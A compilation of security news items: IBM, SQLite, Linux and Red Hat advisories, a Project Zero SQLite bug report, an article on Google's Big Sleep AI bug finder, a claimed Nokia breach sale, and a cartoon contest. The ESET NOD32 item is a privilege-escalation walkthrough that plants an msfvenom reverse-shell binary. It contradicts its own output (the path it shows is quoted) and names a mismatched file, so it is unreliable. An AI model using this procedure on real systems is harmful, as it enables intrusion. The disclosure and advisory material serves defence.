IBM Security Verify Access Appliance suffers from multiple insecure transit vulnerabilities, hardcoded passwords, and uninitialized variables. ibmsecurity versions prior to 2024.4.5 are affected.

IBM Security Verify Access Appliance Insecure Transit / Hardcoded Passwords

ESET NOD32 Antivirus version 18.0.12.0 suffers from an unquoted service path vulnerability.

    # Exploit Title: ESET NOD32 Antivirus 18.0.12.0 - "ESET Service" UnquotedService Path# Exploit Author: Milad Karimi (Ex3ptionaL)# Exploit Date: 2024-11-02# Contact: miladgrayhat@gmail.com# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL# MiRROR-H: https://mirror-h.org/search/hacker/49626/# Vendor : https://www.eset.com# Version : 18.0.12.0# Tested on OS: Microsoft Windows 10 pro x64About Unquoted Service Path :==============================When a service is created whose executable path contains spaces and isn'tenclosed within quotes, leads to a vulnerability known as Unquoted ServicePath which allows a user to gain SYSTEM privileges.(only if the vulnerable service is running with SYSTEM privilege levelwhich most of the time it is).Description:==============================ESET NOD32 Antivirus installs a service with an unquoted service path.To properly exploit this vulnerability, the local attacker must insert anexecutable file in the path of the service.Upon service restart or system reboot, the malicious code will be run withelevated privileges.# PoC===========1.  Open CMD and check for the vulnerability by typing [ wmic service getname,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v"c:\windows\\" | findstr /i /v """ ]2.  The vulnerable service would show up.3.  Check the service permissions by typing [ sc qc "ekrn" ]4.  The command would return..C:\Users\Ci3c0>sc qc ekrn[SC] QueryServiceConfig SUCCESSSERVICE_NAME: ekrn        TYPE               : 20  WIN32_SHARE_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 1   NORMAL        BINARY_PATH_NAME   : "C:\Program Files\ESET\ESET Security\ekrn.exe"        LOAD_ORDER_GROUP   : Base        TAG                : 0        DISPLAY_NAME       : ESET Service        DEPENDENCIES       :        SERVICE_START_NAME : LocalSystem5.  This concludes that the service is running as SYSTEM.6.  Now create a payload with msfvenom or other tools and name it toekrn.exe.7.  Make sure you have write permissions to "C:\Program Files\ESET\ESETSecurity" directory.8.  Provided that you have right permissions, drop the HDDHealthService.exeexecutable you created into the "C:\Program Files\ESET\ESET Security"directory.9.  Start a listener.9.  Now restart the ekrn service by giving coommand [ sc stop ekrn ]followed by [ sc start ekrn ]9.1 If you cannot stop and start the service, since the service is of type"AUTO_START" we can restart the system by executing [ shutdown /r /t 0 ]and get the shell when the service starts automatically.10. Got shell.During my testing :Payload : msfvenom -p windows/shell_reverse_tcp -f exe -o ekrn.exe# Disclaimer=============The information contained within this advisory is supplied "as-is" with nowarranties or guarantees of fitness of use or otherwise.The author is not responsible for any misuse of the information containedherein and accepts no responsibility for any damage caused by the use ormisuse of this information.The author prohibits any malicious use of security related information orexploits by the author or elsewhere.

ESET NOD32 Antivirus 18.0.12.0 Unquoted Service Path

SQLite3 suffers from a stack buffer underflow condition in seriesBestIndex in the generate_series extension.

    Vulnerability detailsstatic int seriesBestIndex(  sqlite3_vtab *pVTab,  sqlite3_index_info *pIdxInfo){  int i, j;              /* Loop over constraints */  int idxNum = 0;        /* The query plan bitmask */#ifndef ZERO_ARGUMENT_GENERATE_SERIES  int bStartSeen = 0;    /* EQ constraint seen on the START column */#endif  int unusableMask = 0;  /* Mask of unusable constraints */  int nArg = 0;          /* Number of arguments that seriesFilter() expects */  int aIdx[7];           /* Constraints on start, stop, step, LIMIT, OFFSET,                         ** and value.  aIdx[5] covers value=, value>=, and                         ** value>,  aIdx[6] covers value<= and value< */  const struct sqlite3_index_constraint *pConstraint;  /* This implementation assumes that the start, stop, and step columns  ** are the last three columns in the virtual table. */  assert( SERIES_COLUMN_STOP == SERIES_COLUMN_START+1 );  assert( SERIES_COLUMN_STEP == SERIES_COLUMN_START+2 );  aIdx[0] = aIdx[1] = aIdx[2] = aIdx[3] = aIdx[4] = aIdx[5] = aIdx[6] = -1;  pConstraint = pIdxInfo->aConstraint;  for(i=0; i<pIdxInfo->nConstraint; i++, pConstraint++){    int iCol;    /* 0 for start, 1 for stop, 2 for step */    int iMask;   /* bitmask for those column */    int op = pConstraint->op;    if( op>=SQLITE_INDEX_CONSTRAINT_LIMIT     && op<=SQLITE_INDEX_CONSTRAINT_OFFSET    ){      if( pConstraint->usable==0 ){[...]      }      continue;    }    if( pConstraint->iColumn==SERIES_COLUMN_VALUE ){      switch( op ){[...]      }      continue;    }    iCol = pConstraint->iColumn - SERIES_COLUMN_START;  // *** 1 ***    assert( iCol>=0 && iCol<=2 ); // *** 2 ***    iMask = 1 << iCol;#ifndef ZERO_ARGUMENT_GENERATE_SERIES    if( iCol==0 && op==SQLITE_INDEX_CONSTRAINT_EQ ){      bStartSeen = 1;    }#endif    if( pConstraint->usable==0 ){      unusableMask |=  iMask;      continue;    }else if( op==SQLITE_INDEX_CONSTRAINT_EQ ){      idxNum |= iMask;      aIdx[iCol] = i; // *** 3 ***    }  }  struct sqlite3_index_constraint {     int iColumn;              /* Column constrained.  -1 for ROWID */ // *** 4 ***     unsigned char op;         /* Constraint operator */     unsigned char usable;     /* True if this constraint is usable */     int iTermOffset;          /* Used internally - xBestIndex should ignore */  } *aConstraint;            /* Table of WHERE clause constraints */The seriesBestIndex function doesn't handle rowid constraints correctly. The code at [1] expects iColumn to be one of SERIES_COLUMN_START, SERIES_COLUMN_STOP, or SERIES_COLUMN_STEP (values 1, 2, or 3). However, the line can also be reached with a rowid constraint with an iColumn value of -1. Depending on the build configuration, the negative iCol may either trigger an assertion failure at [2] or lead to an out-of-bounds memory write access at [3].Version3.47.0 2024-10-05 12:02:17 2f7eab381e16760952d1c90a9119d2a217933f0136442d8f6eeb6d95e366ca4f (64-bit)Reproduction caseSELECT * FROM generate_series(1, 1) WHERE rowid = 1When built with assertions, the SQLite shell crashes with an assertion failure:shell.c:6816: seriesBestIndex: Assertion `iCol>=0 && iCol<=2' failed.When built with NDEBUG and ASan, the program produces the following crash report:==2623073==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ff83210be18 at pc 0x55dbc9afcd14 bp 0x7ffc7a497cd0 sp 0x7ffc7a497cc8WRITE of size 4 at 0x7ff83210be18 thread T0    #0 0x55dbc9afcd13 in seriesBestIndex shell.c:6828    #1 0x55dbc9d5aaa9 in vtabBestIndex sqlite3.c:164633    #2 0x55dbc9d66290 in whereLoopAddVirtualOne sqlite3.c:167237    #3 0x55dbc9d67e57 in whereLoopAddVirtual sqlite3.c:167549    #4 0x55dbc9d69f06 in whereLoopAddAll sqlite3.c:167822    #5 0x55dbc9d73724 in sqlite3WhereBegin sqlite3.c:169776    #6 0x55dbc9d1b3d2 in sqlite3Select sqlite3.c:151580    #7 0x55dbc9d8c131 in yy_reduce sqlite3.c:177608    #8 0x55dbc9d98b5c in sqlite3Parser sqlite3.c:179058    #9 0x55dbc9d9cc59 in sqlite3RunParser sqlite3.c:180392    #10 0x55dbc9cf1863 in sqlite3Prepare sqlite3.c:143187    #11 0x55dbc9cf1f65 in sqlite3LockAndPrepare sqlite3.c:143262    #12 0x55dbc9cf2356 in sqlite3_prepare_v2 sqlite3.c:143349    #13 0x55dbc9b30f63 in shell_exec shell.c:24228    #14 0x55dbc9b58583 in runOneSqlLine shell.c:31909    #15 0x55dbc9b59624 in process_input shell.c:32097    #16 0x55dbc9b5d1b7 in main shell.c:33026    #17 0x7ff834243b89 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58    #18 0x7ff834243c44 in __libc_start_main_impl ../csu/libc-start.c:360    #19 0x55dbc9ae27a0 in _start (sq+0x4a7a0) (BuildId: 8e6639a5755a4687574b3d22d6cf593ca32bb8b6)Address 0x7ff83210be18 is located in stack of thread T0 at offset 24 in frame    #0 0x55dbc9afc4b6 in seriesBestIndex shell.c:6732  This frame has 1 object(s):    [32, 60) 'aIdx' (line 6740) <== Memory access at offset 24 underflows this variableWe've observed that, depending on the compiler and SQLite build configuration, this issue may allow an attacker to overwrite pConstraint, which makes it likely exploitable. However, the generate_series extension is only enabled by default in the shell binary and not the library itself, so the impact of the issue is limited.Credit informationSergei Glazunov of Google Project ZeroThis bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-01-07.For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html

SQLite3 generate_series Stack Buffer Underflow

khugepaged in Linux races with rmap-based zap, races with GUP-fast, and fails to call MMU notifiers.

Linux khugepaged Race Conditions

Red Hat Security Advisory 2024-8425-03 - Red Hat OpenShift Container Platform release 4.15.37 is now available with updates to packages and images that fix several bugs and add enhancements. Issues addressed include denial of service and traversal vulnerabilities.

The following advisory data is extracted from:

https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8425.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: OpenShift Container Platform 4.15.37 bug fix and security update  
Advisory ID:        RHSA-2024:8425-03  
Product:            Red Hat OpenShift Enterprise  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:8425  
Issue date:         2024-11-04  
Revision:           03  
CVE Names:          CVE-2023-45288  
====================================================================

Summary: 

Red Hat OpenShift Container Platform release 4.15.37 is now available with updates to packages and images that fix several bugs and add enhancements.

This release includes a security update for Red Hat OpenShift Container Platform 4.15.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.

This advisory contains the container images for Red Hat OpenShift Container Platform 4.15.37. See the following advisory for the RPM packages for this release:

https://access.redhat.com/errata/RHSA-2024:8428

Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes:

https://docs.openshift.com/container-platform/4.15/release_notes/ocp-4-15-release-notes.html

Security Fix(es):

* go-git: Maliciously crafted Git server replies can lead to path traversal  
and RCE on go-git clients (CVE-2023-49569)  
* golang: net/http, x/net/http2: unlimited number of CONTINUATION frames  
causes DoS (CVE-2023-45288)  
* encoding/gob: golang: Calling Decoder.Decode on a message which contains  
deeply nested structures can cause a panic due to stack exhaustion  
(CVE-2024-34156)  
* containers/image: digest type does not guarantee valid type  
(CVE-2024-3727)  
* net/http: Denial of service due to improper 100-continue handling in  
net/http (CVE-2024-24791)  
* cloudevents/sdk-go: usage of WithRoundTripper to create a Client leaks  
credentials (CVE-2024-28110)  
* jose-go: improper handling of highly compressed data (CVE-2024-28180)  
* go/parser: golang: Calling any of the Parse functions containing deeply  
nested literals can cause a panic/stack exhaustion (CVE-2024-34155)  
* go/build/constraint: golang: Calling Parse on a \"// +build\" build tag  
line with deeply nested expressions can cause a panic due to stack  
exhaustion (CVE-2024-34158)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

All OpenShift Container Platform 4.15 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.openshift.com/container-platform/4.15/updating/updating_a_cluster/updating-cluster-cli.html

Solution:

CVEs:

CVE-2023-45288

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2258143  
https://bugzilla.redhat.com/show_bug.cgi?id=2268273  
https://bugzilla.redhat.com/show_bug.cgi?id=2268372  
https://bugzilla.redhat.com/show_bug.cgi?id=2268854  
https://bugzilla.redhat.com/show_bug.cgi?id=2274767  
https://bugzilla.redhat.com/show_bug.cgi?id=2295310  
https://bugzilla.redhat.com/show_bug.cgi?id=2310527  
https://bugzilla.redhat.com/show_bug.cgi?id=2310528  
https://bugzilla.redhat.com/show_bug.cgi?id=2310529  
https://issues.redhat.com/browse/OCPBUGS-19254  
https://issues.redhat.com/browse/OCPBUGS-37704  
https://issues.redhat.com/browse/OCPBUGS-39018  
https://issues.redhat.com/browse/OCPBUGS-41838  
https://issues.redhat.com/browse/OCPBUGS-42335  
https://issues.redhat.com/browse/OCPBUGS-42470  
https://issues.redhat.com/browse/OCPBUGS-42471  
https://issues.redhat.com/browse/OCPBUGS-42480  
https://issues.redhat.com/browse/OCPBUGS-42611  
https://issues.redhat.com/browse/OCPBUGS-42648  
https://issues.redhat.com/browse/OCPBUGS-42726  
https://issues.redhat.com/browse/OCPBUGS-42780  
https://issues.redhat.com/browse/OCPBUGS-42881  
https://issues.redhat.com/browse/OCPBUGS-42934  
https://issues.redhat.com/browse/OCPBUGS-42992  
https://issues.redhat.com/browse/OCPBUGS-43057  
https://issues.redhat.com/browse/OCPBUGS-43468  
https://issues.redhat.com/browse/OCPBUGS-43626  
https://issues.redhat.com/browse/OCPBUGS-43635

Red Hat Security Advisory 2024-8425-03

Red Hat Security Advisory 2024-8318-03 - Logging for Red Hat OpenShift - 5.6.25.

    The following advisory data is extracted from:https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8318.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Logging for Red Hat OpenShift - 5.6.25Advisory ID:        RHSA-2024:8318-03Product:            logging for Red Hat OpenShiftAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:8318Issue date:         2024-11-04Revision:           03CVE Names:          CVE-2024-24791====================================================================Summary: Logging for Red Hat OpenShift - 5.6.25Description:Logging for Red Hat OpenShift - 5.6.25Solution:https://docs.openshift.com/container-platform/4.11/release_notes/ocp-4-11-release-notes.htmlhttps://docs.openshift.com/container-platform/4.11/logging/cluster-logging-upgrading.htmlCVEs:CVE-2024-24791References:https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2024-8318-03

Red Hat Security Advisory 2024-7323-03 - Logging for Red Hat OpenShift - 5.6.24.

The following advisory data is extracted from:

https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_7323.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: Logging for Red Hat OpenShift - 5.6.24  
Advisory ID:        RHSA-2024:7323-03  
Product:            logging for Red Hat OpenShift  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:7323  
Issue date:         2024-11-04  
Revision:           03  
CVE Names:          CVE-2024-6104  
====================================================================

Summary: 

Logging for Red Hat OpenShift - 5.6.24

Description:

Logging for Red Hat OpenShift - 5.6.24

Solution:

https://docs.openshift.com/container-platform/4.12/release_notes/ocp-4-12-release-notes.html

https://docs.openshift.com/container-platform/4.12/logging/cluster-logging-upgrading.html

CVEs:

CVE-2024-6104

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://issues.redhat.com/browse/LOG-5950

Red Hat Security Advisory 2024-7323-03

A research tool by the company found a vulnerability in the SQLite open source database, demonstrating the "defensive potential" for using LLMs to find vulnerabilities in applications before they're publicly released.

Source: Krot Studio via Alamy Stock Photo

Google has discovered its first real-world vulnerability using an artificial intelligence (AI) agent that company researchers are designing expressly for this purpose. The discovery of a memory-safety flaw in a production version of a popular open source database by the company's Big Sleep large language model (LLM) project is the first of its kind, and it has "tremendous defensive potential" for organizations, the Big Sleep team wrote in a recent Project Zero blog.

Big Sleep — the work of a collaboration between the company's Project Zero and Deep Mind groups — discovered an exploitable stack buffer underflow in SQLite, a widely used open source database engine.

Specifically, Big Sleep discovered a pattern in the code of a publicly released version of SQLite that creates a potential edge case that needs to be handled by all code that uses the field, the researchers noted. A function in the code failed to correctly handle the edge case, "resulting in a write into a stack buffer with a negative index when handling a query with a constraint on the 'rowid' column," thus creating an exploitable flaw, according to the post.

Google reported the bug to SQLite developers in early October. They fixed it on the same day and before it appeared in an official release of the database, so users were not affected.

Related:News Desk 2024: Hacking Microsoft Copilot Is Scary Easy

**Inspired by AI Bug-Hunting Peers**

"We believe this is the first public example of an AI agent finding a previously unknown exploitable memory-safety issue in widely used real-world software," the Big Sleep team wrote in the post. While this may be true, it's not the first time an LLM-based reasoning system autonomously found a flaw in the SQLite database engine, Google acknowledged.

An LLM model called Atlantis from a group of AI experts called Team Atlanta discovered six zero-day flaws in SQLite3 and even autonomously identified and patched one of them during the AI Cyber Challenge organized by ARPA-H, DARPA, and the White House, the team revealed in a blog post in August.

In fact, the Big Sleep team used one of the Team Atlanta discoveries — of "a null-pointer dereference" flaw in SQLite —  to inspire them to use AI "to see if we could find a more serious vulnerability," according to the post.

**Software Review Goes Beyond Fuzzing**

Google and other software development teams already use a process called fuzz-testing, colloquially known as "fuzzing," to help find flaws in applications before release. Fuzzing is an approach that targets the software with deliberately malformed data — or inputs — to see if it will crash so they can investigate and fix the cause.

Related:Privacy Anxiety Pushes Microsoft Recall AI Release Again

In fact, Google earlier this year released an AI-boosted fuzzing framework as an open source resource to help developers and researchers improve how they find software vulnerabilities. The framework automates manual aspects of fuzz-testing and uses LLMs to write project-specific code to boost code coverage.

While fuzzing "has helped significantly" to reduce the number of flaws in production software, developers need a more powerful approach "to find the bugs that are difficult (or impossible) to find" in this way, such as variants for previously found and patched vulnerabilities, the Big Sleep team wrote.

"As this trend continues, it's clear that fuzzing is not succeeding at catching such variants, and that for attackers, manual variant analysis is a cost-effective approach," the team wrote in the post.

Moreover, variant analysis is a better fit for current LLMs because its provides them with a starting point —  such as the details of a previously fixed flaw — for a search, and thus removes a lot of ambiguity from AI-based vulnerability testing, according to Google. In fact, at this point in the evolution of LLMs, lack of this type of starting point for a search can cause confusion, they noted.

Related:OWASP Releases AI Security Guidance

"We're hopeful that AI can narrow this gap," the Big Sleep team wrote. "We think that this is a promising path towards finally turning the tables and achieving an asymmetric advantage for defenders."

**Glimpse Into the Future**

Google Big Sleep is still in its research phase, and using AI-based automation to identify software flaws overall is a new discipline. However, there already are tools available that developers can use to get a jump on finding vulnerabilities in software code before public release.

Late last month, researchers at Protect AI released Vulnhuntr, a free, open source static code analyzer tool that can find zero-day vulnerabilities in Python codebases using Anthropic's Claude artificial intelligence (AI) model.

Indeed, Google's discovery shows promising progress for the future of using AI to help developers troubleshoot software before letting flaws seep into production versions.

"Finding vulnerabilities in software before it's even released means that there's no scope for attackers to compete: the vulnerabilities are fixed before attackers even have a chance to use them," Google's Big Sleep team wrote.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

Google: Big Sleep AI Agent Puts SQLite Software Bug to Bed

Hackers claim to have breached Nokia through a third-party contractor, allegedly stealing SSH keys, source code, and internal…

Hackers claim to have breached Nokia through a third-party contractor, allegedly stealing SSH keys, source code, and internal credentials. The data is being sold for $20,000 on BreachForums, though no customer data was affected. Nokia has not yet commented on the claim.

A notorious hacker known as Intel Broker has announced a data breach involving the telecommunications giant Nokia. Posting on the infamous cybercrime forum BreachForums, Intel Broker claims to have gained unauthorized access to sensitive Nokia information through a third-party contractor linked to Nokia’s internal tool development.

The hacker claims that no customer information was accessed, but they have obtained **critical internal data** from Nokia’s systems, which they’re now selling for $20,000.

**Details of the Breach**

According to Intel Broker’s post, the stolen data includes SSH keys, source code, RSA keys, Bitbucket logins, SMTP accounts, webhooks, and hardcoded credentials. All of these items could potentially enable further unauthorized access to internal systems or facilitate other types of cyber attacks. In an attempt to validate the breach, Intel Broker also shared a file tree, showcasing various files and folders apparently related to Nokia’s internal operations.

In an exclusive conversation with Hackread.com, Interl Broker said that the stolen data collection is up for sale for $20,000, and he is reaching out to prospective buyers on BreachForums. According to the post, only those with high-ranking status and sufficient reputation on the forum are being encouraged to inquire.

Intel Broker on Breach Forums (Screenshot: Hackread.com)

The hacker claims to have pulled this data from a contractor working closely with Nokia, rather than Nokia’s own systems directly. This method of breaching systems through third-party vendors has become **increasingly common**, as vendors are often granted extensive access to the companies they serve. Cybersecurity experts have long warned about this weak point, advising companies to ensure that security standards extend to their contractors and partners.

**Potential Impact**

While Intel Broker emphasizes that customer data is not included in the breach, the exposure of alleged Nokia’s internal data could still have widespread implications. With access to development environments, source code, and credentials, hackers could potentially tamper with Nokia’s tools or services, or exploit the vulnerabilities in these resources to compromise other systems.

Screenshot from the sample data that Hackread.com analysed

****Nokia’s Response****

At the time of reporting, there has been no official statement from Nokia on this alleged breach. However, Hackread.com has reached out to the company awaiting a response. Stay tuned.

****About Intel Broker****

Intel Broker who is also the owner of Breach Forums is known for high-profile data breaches. **In June 2024**, the hacker claimed to have breached Apple Inc., stealing source code for internal tools. The same hacker boasted about **breaching AMD** (Advanced Micro Devices, Inc.), and stealing employee and product information.

**In May 2024**, Intel Broker hacked Europol, a breach that the agency later confirmed. Some of the hacker’s previous data breaches are listed below:

*   **Tech in Asia**
*   **Space-Eyes**
*   **Home Depot**
*   **Facebook Marketplace**
*   **Staffing giant Robert Half**
*   **U.S. contractor Acuity Inc.**
*   **Los Angeles International Airport**
*   **Alleged breaches of HSBC and Barclays Bank**

Although the hacker’s origins and affiliates are unknown, according to the United States government, IntelBroker is alleged to be the perpetrator behind one of the **T-Mobile data breaches**.

1.  **Hacker Leaks Thousands of Nokia Employee Details**
2.  **Nokia Taiwan Hacked, 100,000+ accounts leaked online**
3.  **Cisco Network Breach as Employee’s Google Account was Hacked  
    **

Hackers Claim Access to Nokia Internal Data, Selling for $20,000

Feeling creative? Submit your caption and our panel of experts will reward the winner with a $25 Amazon gift card.

When you let go of that trapeze, you really want your teammates to be ready to catch you. Send us a cybersecurity-related caption to describe the above scene and our favorite will win its wordsmith a $25 Amazon gift card.

Here are four convenient ways to submit your ideas before the Nov. 27, 2024 deadline:

• Email \[email protected\] with the subject line "Edge November Toon."

• Via social media: X, Facebook, and LinkedIn. (If you win, we'll respond to you on the same platform, requesting your email address.)

**Last Month's Winner**

Shout out — and a $25 Amazon gift card — to Joseph Ayella, a recurring winner, for sending us the winning caption for last month's "And For My Next Trick..." cartoon.

"I call this trick the woman-in-the-middle attack."

Some noteworthy contenders included: "All we could get was half a FTE for security assessments," "And with this SIEM solution, we could cut a half of our SOC analysts," and "I'm glad he's not the hacker." A big thank you to all who participated.

**About the Author**

John Klossner has been drawing technology cartoons for more than 15 years. His work regularly appears in Computerworld and Federal Computer Week. His illustrations and cartoons have also been published in The New Yorker, Barron's, and The Wall Street Journal.

Latest News